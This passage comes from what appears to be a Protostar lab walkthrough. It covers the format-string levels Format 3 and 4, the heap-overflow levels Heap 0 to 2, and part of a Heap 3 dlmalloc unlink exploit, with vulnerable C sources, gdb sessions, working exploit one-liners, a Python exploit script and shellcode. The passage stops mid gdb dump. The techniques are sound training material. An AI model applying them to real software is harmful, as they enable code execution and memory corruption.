(gdb) p 0x00005544 - 0x00000044
$2 = 21760
21760 + 64 = 21824. Let's give that a try:
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08" + "%21824d%12$n"' | ./format3
?
...
target is 00005544 :( At this point, we're halfway there. However, for the second part, we will take a slightly different approach. Here, we will instead write two bytes into the address of target using the same approach. That means we will write to 0x080496f6 (or \xf6\x96\x04\x08) instead:
(gdb) p 0x0102
$3 = 258
We'll have to subtract 4 from this value since our address already causes 4 bytes to be written, resulting in 254:
user@protostar:/opt/protostar/bin$ python -c 'print "\xf6\x96\x04\x08" + "%254d%12$n"' | ./format3
?
...
target is 01020000 :( Now we have each part and need to combine them. Since we're adding another 4 bytes ("\xf6\x96\x04\x08") to our input, we'll need to remove 4 bytes of padding. Also, we need to reference the 13th parameter ($13) instead, since we are now supplying additional input.
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08" + "\xf6\x96\x04\x08" + "%250d%13$n"' | ./format3
??
...
target is 01020000 :( When adding the second half, we need to change the padding to 21570 (21828, minus the 258 already added):
python -c 'print "\xf4\x96\x04\x08" + "\xf6\x96\x04\x08" + "%250d%13$n" + "%21570d%12$n"' | ./format3
...
target is 00005544 :( When we add the second part, we notice that we're back to the original value. This is because the n parameter will overwrite the entire address by default, but here, we only want to write to 2 bytes of the address. We can achieve this by using the h modifier:
python -c 'print "\xf4\x96\x04\x08" + "\xf6\x96\x04\x08" + "%250d%13$n" + "%21570d%12$hn"' | ./format3
...
you have modified the target :) Format 3 completed!
Format 4
This one is a slight deviation from previous Format exercises. Here, we have to use format string vulnerabilities to take control of code execution.
The objective is to change the code flow to enter the hello function, which notably is not called anywhere in the code:
format4.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void hello()
{
printf("code execution redirected! you win\n");
_exit(1);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
exit(1);
}
int main(int argc, char **argv)
{
vuln();
}
The vulnerability to exploit is the same as previous Format-exercises (fgets and printf), but the objective is slightly different. We will need to modify the address of an existing function or return to point to hello instead.
Let's have a look using objdump, as instructed in the hint:
user@protostar:/opt/protostar/bin$ objdump -R format4
format4: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080496fc R_386_GLOB_DAT __gmon_start__
08049730 R_386_COPY stdin
0804970c R_386_JUMP_SLOT __gmon_start__
08049710 R_386_JUMP_SLOT fgets
08049714 R_386_JUMP_SLOT __libc_start_main
08049718 R_386_JUMP_SLOT _exit
0804971c R_386_JUMP_SLOT printf
08049720 R_386_JUMP_SLOT puts
08049724 R_386_JUMP_SLOT exit Here, we can see that the exit function of GLIBC will be loaded at 0x08049724. We should be able to overwrite this value, such that hello is called instead - the address of which we can also find using objdump:
user@protostar:/opt/protostar/bin$ objdump -t format4|grep hello
080484b4 g F .text 0000001e hello
Now we know which addresses we are working with:
exit:0x08049724hello:0x080484b4
Using techniques described in previous exercises, we learn that the offset is 4 - meaning we will be starting with 4$ using direct parameter access. As in Format3, we will write half the address at a time. To calculate the correct padding, we will use gdb:
user@protostar:/opt/protostar/bin$ gdb -q
(gdb) p 0x84b4 - 8
$1 = 33964
(gdb) p 0x0804 - 0x84b4 + 65536
$2 = 33616 Since 0x84b4 is larger than 0x0804 we will end up with a negative value. We can correct this by adding 65536 to produce a positive offset. Given these values, we try our exploit:
user@protostar:/opt/protostar/bin$ python -c 'print "\x24\x97\x04\x08" + "\x26\x97\x04\x08" + "%33964x%4$n" + "%33616x%5$hn"' | ./format4
...
b7fd8420
code execution redirected! you win ... and with that, all the format exercises are completed!
Heap 0
On to the first heap-based exercise. Here, we can use a very similar approach to that applied to the stack exercises. The following code is presented, where the objective is to modify fp to point to the winner function:
heap0.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct data {
char name[64];
};
struct fp {
int (*fp)();
};
void winner()
{
printf("level passed\n");
}
void nowinner()
{
printf("level has not been passed\n");
}
int main(int argc, char **argv)
{
struct data *d;
struct fp *f;
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
printf("data is at %p, fp is at %p\n", d, f);
strcpy(d->name, argv[1]);
f->fp();
}
Let's first run the program, to see how it works in practice, using some highly imaginative input:
user@protostar:/opt/protostar/bin$ ./heap0 1234
data is at 0x804a008, fp is at 0x804a050
level has not been passed
Knowing this, it is easy to calculate the distance between the addresses, which helps us to construct our input padding:
user@protostar:/opt/protostar/bin$ gdb -q
(gdb) p 0x804a050 - 0x804a008
$1 = 72 Next, objdump is used to find address of winner at 0x08048464:
user@protostar:/opt/protostar/bin$ objdump -t heap0 |grep winner
08048464 g F .text 00000014 winner
08048478 g F .text 00000014 nowinner Finally, we run the exploit to overwrite fp to point to 0x08048464 ("\x64\x84\x04\x08"):
user@protostar:/opt/protostar/bin$ /opt/protostar/bin/heap0 $(python -c 'print "A" * 72 + "\x64\x84\x04\x08"')
data is at 0x804a008, fp is at 0x804a050
level passed Heap 1
This time around, things are a little less obvious. We have a function which needs to be called, but there is no immediate way of altering the code flow.
heap1.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct internet {
int priority;
char *name;
};
void winner()
{
printf("and we have a winner @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
struct internet *i1, *i2, *i3;
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
The vulnerability in this program is the strcpy function, which will happily copy the second argument (argv[1]) into the first argument (i1->name) without verifying if there is sufficient memory allocated for the operation. To avoid such issues, the strncpy function should be used.
Let's take a closer look at the internet struct:
struct internet {
int priority; /* 4 bytes */
char *name; /* 4 bytes */
};
To understand how the heap grows, it is important to understand how the malloc function works. malloc works by using "chunks" defined as a malloc_chunk struct (see below). Because we are not clearing memory, the fd and bk members are unused.
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
Given the above information and the sequence of malloc calls, we can expect the heap to look like this:
+-------------------------------+
| heap start ... |
+-------------------------------+
| i1 int |
+-------------------------------+
| i1 char* |
+-------------------------------+
| malloc_chunk size_t prev_size | 4 bytes
+-------------------------------+
| malloc_chunk size_t size | 4 bytes
+-------------------------------+
| i1 name buffer | 8 bytes <-- this is where we start writing
+-------------------------------+
| malloc_chunk size_t prev_size | 4 bytes // 12 bytes from start
+-------------------------------+
| malloc_chunk size_t size | 4 bytes // 16 bytes from start
+-------------------------------+
| i2 int | 4 bytes // 20 bytes from start
+-------------------------------+
| i2 char* | 4 bytes <-- this is the address we want to overwrite
+-------------------------------+
| heap cont. ... |
+-------------------------------+
The call to strcpy will allow us to overwrite the i2->name, provided we add 20 bytes of padding (see above). We can validate our theory by submitting more than 20 bytes of input for argv[1] and trigger a segmentation fault:
user@protostar:/opt/protostar/bin$ ./heap1 $(python -c 'print "A" * 21') Segfault below
Segmentation fault
Since the objective is to call the winner function, we'll quickly determine its address (0x08048494) using objdump as in previous exercises:
user@protostar:/opt/protostar/bin$ objdump -t heap1 |grep winner
08048494 g F .text 00000025 winner Now that the target address and offset are known, the next step is to find another address we can use to alter the flow of code. Since printf is used, we may be able to overwrite the Global Offset Table:
user@protostar:/opt/protostar/bin$ objdump -R ./heap1
./heap1: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804974c R_386_GLOB_DAT __gmon_start__
0804975c R_386_JUMP_SLOT __gmon_start__
08049760 R_386_JUMP_SLOT __libc_start_main
08049764 R_386_JUMP_SLOT strcpy
08049768 R_386_JUMP_SLOT printf
0804976c R_386_JUMP_SLOT time
08049770 R_386_JUMP_SLOT malloc
08049774 R_386_JUMP_SLOT puts
This tells us that the printf function will be available at 0x08049768. First, we will write overwrite the address i2->name such that it points to 0x08049768 - where our program expects to find the printf implementation. This way, when strcpy(i2->name, argv[2]) is executed, the second argument will effectively overwrite the printf function - in our case the address of winner:
user@protostar:/opt/protostar/bin$ ./heap1 $(python -c 'print "A" * 20 + "\x68\x97\x04\x08"') $(python -c 'print "\x94\x84\x04\x08"')
and that's a wrap folks! Hmmm that did not work. On closer inspection, we can see that printf is actually not called. In disassembling the main function, it is clear that puts is used instead (as a result of compiler optimisation):
user@protostar:/opt/protostar/bin$ gdb -q ./heap1
Reading symbols from /opt/protostar/bin/heap1...done.
(gdb) disassemble main
...
0x08048561 <main+168>: call 0x80483cc <puts@plt>
...
End of assembler dump. That's OK, since it is also available in the Global Offset Table at address 0x08049774. When this address is used, the exploit works as expected:
user@protostar:/opt/protostar/bin$ ./heap1 $(python -c 'print "A" * 20 + "\x74\x97\x04\x08"') $(python -c 'print "\x94\x84\x04\x08"')
and we have a winner @ 1548523699 Heap 2
This level introduces the concept of "Use-after-Free", where memory is incorrectly accessed after it has been marked as "free".
There is also an intentional (?) bug in this code due poor variable naming (auth) which leads to less memory being allocated than required. More on that later.
Running the program, we can get a hint of how memory is being allocated and re-allocated on the heap, as the memory locations of the auth struct and service variable are displayed. Simply playing around a bit with the program causes the "you are logged in already!" message to be printed:
user@protostar:/opt/protostar/bin$ ./heap2
[ auth = (nil), service = (nil) ]
auth admin
[ auth = 0x804c008, service = (nil) ]
service admin
[ auth = 0x804c008, service = 0x804c018 ]
reset
[ auth = 0x804c008, service = 0x804c018 ]
login
please enter your password
[ auth = 0x804c008, service = 0x804c018 ]
service
[ auth = 0x804c008, service = 0x804c008 ]
login
please enter your password
[ auth = 0x804c008, service = 0x804c008 ]
service aaaaaaaaaaaaaa
[ auth = 0x804c008, service = 0x804c028 ]
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c028 ]
Let's take a closer look at the code to figure out what is going on:
heap2.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
struct auth {
char name[32];
int auth;
};
struct auth *auth;
char *service;
int main(int argc, char **argv)
{
char line[128];
while(1) {
printf("[ auth = %p, service = %p ]\n", auth, service);
if(fgets(line, sizeof(line), stdin) == NULL) break;
if(strncmp(line, "auth ", 5) == 0) {
auth = malloc(sizeof(auth));
memset(auth, 0, sizeof(auth));
if(strlen(line + 5) < 31) {
strcpy(auth->name, line + 5);
}
}
if(strncmp(line, "reset", 5) == 0) {
free(auth);
}
if(strncmp(line, "service", 6) == 0) {
service = strdup(line + 7);
}
if(strncmp(line, "login", 5) == 0) {
if(auth->auth) {
printf("you have logged in already!\n");
} else {
printf("please enter your password\n");
}
}
}
}
From this, it is easy to see that we have to somehow make auth->auth to have a non-zero value before entering the "login" command. However, there is no immediately obvious way of doing this. The following if-block prevents an overflow of the name member which has a length of 32:
if(strlen(line + 5) < 31) {
strcpy(auth->name, line + 5);
}
An important detail to note here is that free does not reset the memory contents, but only marks the block of memory as free for allocation. As such, a memory area that contains information may be allocated for a subsequent malloc call. Knowing this, we can see that the "reset" command will free memory previously allocated for auth, but notably does not change the memory contents or reset the pointer:
if(strncmp(line, "reset", 5) == 0) {
free(auth);
}
The "service" command will call strdup. The man pages of strdup tell us that the memory for the duplicated string is allocated using malloc, which means it is on the heap:
The strdup() function returns a pointer to a new string which is a duplicate of the string s. Memory for the new string is obtained with malloc(3), and can be freed with free(3).
With the above information, we should be able to manipulate the value of auth simply by executing commands in the right sequence, which is what was seen when testing the program out.
Let’s try in gdb and look at what is happening on the heap. The program is started and the "auth" command is used once. We then use ctrl+C to stop program execution:
user@protostar:/opt/protostar/bin$ gdb -q ./heap2
Reading symbols from /opt/protostar/bin/heap2...done.
(gdb) r
Starting program: /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
auth admin
[ auth = 0x804c008, service = (nil) ]
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82 ../sysdeps/unix/syscall-template.S: No such file or directory.
in ../sysdeps/unix/syscall-template.S
Current language: auto
The current source language is "auto; currently asm".
At this point, the contents of the heap can be inspected, which should contain the auth struct:
(gdb) info proc map
...
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x804b000 0x3000 0 /opt/protostar/bin/heap2
0x804b000 0x804c000 0x1000 0x3000 /opt/protostar/bin/heap2
0x804c000 0x804d000 0x1000 0 [heap]
...
(gdb) x/20x 0x804c000
0x804c000: 0x00000000 0x00000011 0x696d6461 0x00000a6e
0x804c010: 0x00000000 0x00000ff1 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) print auth
$1 = (struct auth *) 0x804c008)
(gdb) print *auth
$2 = {name = "admin\n\000\000\000\000\000\000\361\017", '\000' <repeats 17 times>, auth = 0} Here, we can clearly see that the auth variable is set to 0. Interestingly enough, we also notice the chunk header indicates a size of 8:
- The chunk size is set to
0x00000011 - Removing the header size (8) leaves us with 9 bytes:
(gdb) p 0x00000011 - 0x00000008 $3 = 9 - Chunks are always allocated in even memory blocks, with the last 3 bits used as flags:
0x0000001: PREV_INUSE (P) - bit is set when the previous chunk is used0x0000010: IS_MMAPPED (M) - bit is set if the chunk ismmap'd0x0000100: NON_MAIN_ARENA (A) - bit is set if the chunk belongs to a thread arena- Removing the P flag and the header, 8 bytes are left for user data:
(gdb) p 0x00000011 - 0x00000008 - 0x00000001 $4 = 8
The reason this is happening is because of the repeated use of auth in the source code. In the following code block, the auth referenced in the sizeof() call is in fact the variable auth of type struct auth * declared on line 12 of the source code. Since that's just a pointer, we end up with 8 bytes being allocated. The lesson here is to have some better imagination when naming variables.
if(strncmp(line, "auth ", 5) == 0) {
auth = malloc(sizeof(auth));
memset(auth, 0, sizeof(auth));
if(strlen(line + 5) < 31) {
strcpy(auth->name, line + 5);
}
}
Now, back to gdb. In order to see what is happening on the heap, we want to set a break point before the printf statement at the top of the while loop. gdb can also be configured to automatically print out some information from the heap each time the breakpoint is hit using the command command.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048934 <main+0>: push ebp
...
0x0804895f <main+43>: call 0x804881c <printf@plt>
...
0x080489f9 <main+197>: mov DWORD PTR [esp],eax
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) break *0x0804895f
Breakpoint 1 at 0x804895f: file heap2/heap2.c, line 20.
(gdb) command
Type commands for when breakpoint 1 is hit, one per line.
End with a line saying just "end".
>printf "#HEAP######################################################################\n"
>x/20x 0x804c000
>printf "#AUTH######################################################################\n"
>print *auth
>printf "#SERVICE###################################################################\n"
>print service
>printf "###########################################################################\n"
>continue
>end
(gdb)
Let's run the program to test this out.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
...
#HEAP######################################################################
0x804c000: Cannot access memory at address 0x804c000
(gdb) c
Continuing.
[ auth = (nil), service = (nil) ]
auth admin
Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff834) at heap2/heap2.c:20
20 in heap2/heap2.c
#HEAP######################################################################
0x804c000: 0x00000000 0x00000011 0x696d6461 0x00000a6e
0x804c010: 0x00000000 0x00000ff1 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
#AUTH######################################################################
$5 = {name = "admin\n\000\000\000\000\000\000\361\017", '\000' <repeats 17 times>, auth = 0}
#SERVICE###################################################################
$6 = 0x0
###########################################################################
[ auth = 0x804c008, service = (nil) ]
So far nothing new. We continue and use the "service" command and see that a chunk of memory is allocated at 0x0804c018:
[ auth = 0x804c008, service = (nil) ]
service admin
Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff834) at heap2/heap2.c:20
20 in heap2/heap2.c
#HEAP######################################################################
0x804c000: 0x00000000 0x00000011 0x696d6461 0x00000a6e
0x804c010: 0x00000000 0x00000011 0x6d646120 0x000a6e69
0x804c020: 0x00000000 0x00000fe1 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
#AUTH######################################################################
$7 = {name = "admin\n\000\000\000\000\000\000\021\000\000\000 admin\n\000\000\000\000\000\341\017\000", auth = 0}
#SERVICE###################################################################
$8 = 0x804c018 " admin\n"
###########################################################################
[ auth = 0x804c008, service = 0x804c018 ]
Next, the "reset" command is used to free the memory initially allocated for the auth struct:
[ auth = 0x804c008, service = 0x804c018 ]
reset
Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff834) at heap2/heap2.c:20
20 in heap2/heap2.c
#HEAP######################################################################
0x804c000: 0x00000000 0x00000011 0x00000000 0x00000a6e
0x804c010: 0x00000000 0x00000011 0x6d646120 0x000a6e69
0x804c020: 0x00000000 0x00000fe1 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
#AUTH######################################################################
$9 = {name = "\000\000\000\000n\n\000\000\000\000\000\000\021\000\000\000 admin\n\000\000\000\000\000\341\017\000", auth = 0}
#SERVICE###################################################################
$10 = 0x804c018 " admin\n"
###########################################################################
[ auth = 0x804c008, service = 0x804c018 ]
Next, we use the "service" command with service name of sufficient size. This time around, because of the way memory was reused, we are able to write a non-zero value to auth->auth, which is located at 0x0804c028:
[ auth = 0x804c008, service = 0x804c018 ]
service AAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff834) at heap2/heap2.c:20
20 in heap2/heap2.c
#HEAP######################################################################
0x804c000: 0x00000000 0x00000011 0x00000000 0x00000a6e
0x804c010: 0x00000000 0x00000011 0x6d646120 0x000a6e69
0x804c020: 0x00000000 0x00000021 0x41414120 0x41414141
0x804c030: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c040: 0x000a4141 0x00000fc1 0x00000000 0x00000000
#AUTH######################################################################
$11 = {name = "\000\000\000\000n\n\000\000\000\000\000\000\021\000\000\000 admin\n\000\000\000\000\000!\000\000", auth = 1094795552}
#SERVICE###################################################################
$12 = 0x804c028 " ", 'A' <repeats 25 times>, "\n"
###########################################################################
[ auth = 0x804c008, service = 0x804c028 ] Now, when using "login", we will be authenticated successfully:
[ auth = 0x804c008, service = 0x804c028 ]
login
you have logged in already!
That concludes Heap 2!
Heap 3
Heap 3 speaks to introducing the Doug Lea malloc (dlmalloc), but the malloc included with Protostar's version of the GNU C Library (2.11.2) is based on that implementation so we have been using it all along. The author of the algorithm has written a very informative article on its design and the source code has been made available to the public. While slightly outdated, these are still useful sources of information.
This is going to be a somewhat lengthy post... Let's start with the source code:
heap3.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
void winner()
{
printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
char *a, *b, *c;
a = malloc(32);
b = malloc(32);
c = malloc(32);
strcpy(a, argv[1]);
strcpy(b, argv[2]);
strcpy(c, argv[3]);
free(c);
free(b);
free(a);
printf("dynamite failed?\n");
}
Reviewing the code provided, it is clear that the challenge is to modify program exeuction such that the winner() function is called. At first glance, there appears to be no obvious way of achieving this. However, the following information provides a starting point:
- we have complete control of input
- we know that
strcpy()is vulnerable to overflows - we know the size of memory allocated (
32) and the memory structures
Malloc and Chunks
Before we get started, let's take a moment to revisit malloc and the 'chunks' it allocates on the heap. Here's a simplified version of the malloc_chunk structure definition:
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
};
malloc always allocates memory blocks in multiples of 8 bytes, which means that the last three bits of the size field can be used as flags:
0x0000001: PREV_INUSE (P) - bit is set when the previous chunk is used0x0000010: IS_MMAPPED (M) - bit is set if the chunk ismmap'd0x0000100: NON_MAIN_ARENA (A) - bit is set if the chunk belongs to a thread arena
For example, a size field set to 0x29 means:
- the previous chunk is in use, as the
PREV_INUSEflag is set - the size of the chunk is 40 bytes (
0x28)
Program Execution
Let's continue by looking into what the heap looks like under normal program execution, limiting our input to prevent triggering an overflow. To do this, we'll create an input file and set a breakpoint before the first and last calls to free(). We create a basic python script /tmp/heap3.py, which we will update with slightly more sophisticated input later:
/tmp/heap3.py
#!/usr/bin/python
a = "A" * 32
b = "B" * 32
c = "C" * 32
print "%s %s %s" % (a, b, c)
user@protostar:/opt/protostar/bin$ gdb -q heap3
Reading symbols from /opt/protostar/bin/heap3...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048889 <main+0>: push ebp
...
0x08048905 <main+124>: call 0x8048750 <strcpy@plt>
0x0804890a <main+129>: mov eax,DWORD PTR [esp+0x1c]
0x0804890e <main+133>: mov DWORD PTR [esp],eax
0x08048911 <main+136>: call 0x8049824 <free>
...
End of assembler dump.
(gdb) break *0x08048911
Breakpoint 1 at 0x8048911: file heap3/heap3.c, line 24.
(gdb) break *0x0804892e
Breakpoint 2 at 0x804892e: file heap3/heap3.c, line 28.
Then run the program and take a look at the heap:
(gdb) run $(python /tmp/heap3.py)
Starting program: /opt/protostar/bin/heap3 $(python /tmp/heap3.py)
Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffff7e4) at heap3/heap3.c:24
24 heap3/heap3.c: No such file or directory.
in heap3/heap3.c
(gdb) info proc map
process 2112
cmdline = '/opt/protostar/bin/heap3'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap3'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x804b000 0x3000 0 /opt/protostar/bin/heap3
0x804b000 0x804c000 0x1000 0x3000 /opt/protostar/bin/heap3
0x804c000 0x804d000 0x1000 0 [heap]
...
(gdb) x/32x 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x00000000 0x00000029 0x43434343 0x43434343
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89
As expected, we can see the A's (0x41), B's (0x42) and C's (0x43) neatly aligned on the heap. Unless any allocated memory is freed, memory is allocated sequentially on the heap in an orderly manner.
Next, we continue to examine the heap after the calls to free:
(gdb) c
Continuing.
Breakpoint 2, main (argc=4, argv=0xbffff7d4) at heap3/heap3.c:28
28 in heap3/heap3.c
(gdb) x/32x 0x804c000
0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x0804c050 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89 We can see that the forward pointers are updated as expected, as indicated by the highlighted values. By carefully manipulating input to strcpy(), we should be able to overwrite heap metadata for the next chunk. But how do we use that to our advantage? And why is the PREV_INUSE flag still set, even after calling free()?
Fastbins
To understand why the PREV_INUSE flag is not unset, we need to briefly discuss the concept of fastbins. The version of malloc used here (dlmalloc) includes an optimization where calling free() on chunks smaller than 80 bytes ignores the prev_size, bk and the PREV_INUSE flag. The maximum size for fastbins is defined as follows, and checked when calling free():
/* The maximum fastbin request size we support */
#define MAX_FAST_SIZE (80 * SIZE_SZ / 4)
That means we'll need a chunk of size greater than 80 to have these fields and flag updated. Later, we'll see that this knowledge is needed for a successful exploit.
Understanding the free() Function
At this point, we need to understand some of the implementation details of free(). When free() is called, it will attempt to merge the current chunk with adjacent chunks (provided they are free) to form a larger chunk. At a high level, the free() function performs the following when called:
- Checks that the pointer is valid and of an expected size
- Determines if the chunk is eligible to be placed in a fastbin
- Performs a few checks to avoid a "double free"
- Unlinks the chunk, by updating pointers on adjacent chunks, provided they are free
- Places the chunk in a list of unsorted chunks
The unlink operation above involves writing to memory. First, the chunk needs to be marked as free. Secondly, its links to forwards (fd) and backwards (bk) chunks need to be updated. When the unlink operation is performed, the unlink macro referenced below (simplified) is called, with the following arguments:
- P: The chunk to unlink
- BK: Previous chunk, output
- FD: Next chunk, output
/* Take a chunk off a bin list */
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
}
This operation will make the next available chunk (P->fd) and the previous chunk (P->bk) point to eachother. The following writes are performed:
- The value of
P->bkis written to memory at(P->fd)+12 - 12 bytes offset due to fields
size(4 bytes),prev_size(4 bytes) andfd(4 bytes) - The value of
P->fdis written to memory at(P->bk)+8 - 8 bytes offset due to fields
size(4 bytes) andprev_size(4 bytes)
This means we can write arbitraty data to these addresses (provided they are writable). Here is a simple visualization of the process, with memory writes highlighted:
+-----------+ +-----------+ +-----------+
| Chunk BK | | Chunk P | | Chunk FD |
+-----------+<--+ +-->+-----------+<--+ +-->+-----------+
| prev_size | | | | prev_size | | | | prev_size |
+-----------+ | | +-----------+ | | +-----------+
| size | | | | size | | | | size |
+-----------+ | | +-----------+ | | +-----------+
| fd +---|--+ | fd +---|--+ | fd |
+-----------+ | +-----------+ | +-----------+
| bk | +------+ bk | +------+ bk |
+-----------+ +-----------+ +-----------+
| ... | | ... | | ... |
+-----------+ +-----------+ +-----------+
| Chunk BK | | Chunk FD | | Chunk P |
+-----------+<--+ +-->+-----------+ +-----------+
| prev_size | | | | prev_size | | prev_size |
+-----------+ | | +-----------+ +-----------+
| size | | | | size | | size |
+-----------+ | | +-----------+ +-----------+
| fd +---|--+ | fd | | fd |
+-----------+ | +-----------+ +-----------+
| bk | +------+ bk | | bk |
+-----------+ +-----------+ +-----------+
| ... | | ... | | ... | Planning the Exploit
We can now start to plan the exploit.
Because we know of the structure of a chunk and can manipulate the input in any way we like, we can carefully manipulate the content of the chunks on the heap, allowing us to perform writes to memory. More specifically, this allows us to control the values of fd and bk, which we will set to specific values for the chunk allocated for b.
There's a neat trick that can be used (refer to Vudo malloc tricks section 3.6.1.2), where overwriting the size field to 0xffffffc (-4) will cause dlmalloc to read the prev_size field of the second chunk instead of the size field of next contiguous chunk. Storing an even integer (last bit not set) in this prev_size field will cause dlmalloc to perform an unlink. We can leverage this to cause the free call on c to perform an unlink operation, with values we control.
- prepare shellcode to call the
winnerfunction - inject said shellcode into the chunk allocated for buffer
a - overflow
bto manipulate the size of chunkcto be larger than 80 bytes - insert a fake chunk "
d" aftercwith0xfffffffcsize fields - store the address of an appropriate function in the Global Offset Table in
d->fd - store the address of our shellcode in
d->bk
Identifying Target Addresses
In earlier exercises, we looked at how we can overwrite the Global Offset Table to manipulate the flow of code execution. Here, our objective is to call the winner function. In disassembling the main function, we also see that puts is used and will be called when we reach printf (refer to Heap1 for additional details). Let's find the appropriate addresses:
user@protostar:/opt/protostar/bin$ objdump -t /opt/protostar/bin/heap3 |grep winner
08048864 g F .text 00000025 winner
user@protostar:/opt/protostar/bin$ objdump -R /opt/protostar/bin/heap3 |grep puts
0804b128 R_386_JUMP_SLOT puts
We now have our target addresses:
winner:0x08048864puts:0x0804b128
As noted above, an offset of +12 bytes is used for the write operation, so we need to subtract 12 bytes from the puts address, giving us 0x804b11c.
Preparing Shellcode
In order to call the winner function, we need to inject some code into the memory for execution. For this purpose, we need code that achieves the following:
- Move the value
0x08048864into theeaxregister - Call the
eaxregister
This is pretty straight forward:
mov eax, 0x08048864
call eax
... and translates to the following hex string:
"\xb8\x64\x88\x04\x08\xff\xd0"
Exploit Time
Let's update the python script to with the appropriate input:
/tmp/heap3.py
#!/usr/bin/python
# Few NOP at the start
a = "\x90" * 12
# Followed by shellcode
a += "\xb8\x64\x88\x04\x08\xff\xd0"
# Overwrite the size of the next chunk to be >80 and have last bit set
# 36 bytes as length is 32 + 4 bytes for prev_size field
# \x55 -> 85 -> 0101 0101
b = "B" * 36 + "\x55"
# We fill C with 76 bytes of junk
# The total length should be 84 (85-1)
c = "C" * 76
# 0xfffffffc (-4) into the prev_size and size fields of a next chunk
c += "\xfc\xff\xff\xff" * 2
# 0x0804b11c: Address of puts in the GOT, with a 12 byte offset
c += "\x1c\xb1\x04\x08"
# 0x0804c008: Address of our shellcode, starting at the heap
# with 8 bytes offset
c += "\x08\xc0\x04\x08"
print "%s %s %s" % (a, b, c)
Back in gdb, we restart the program:
(gdb) run $(python /tmp/heap3.py)
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap3 $(python /tmp/heap3.py)
Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffff7a4) at heap3/heap3.c:24
24 in heap3/heap3.c
(gdb) x/48x 0x804c000
0x804c000: 0x00000000 0x00000029 0x90909090 0x90909090
0x804c010: 0x90909090 0x048864b8 0x00d0ff08 0x00000000
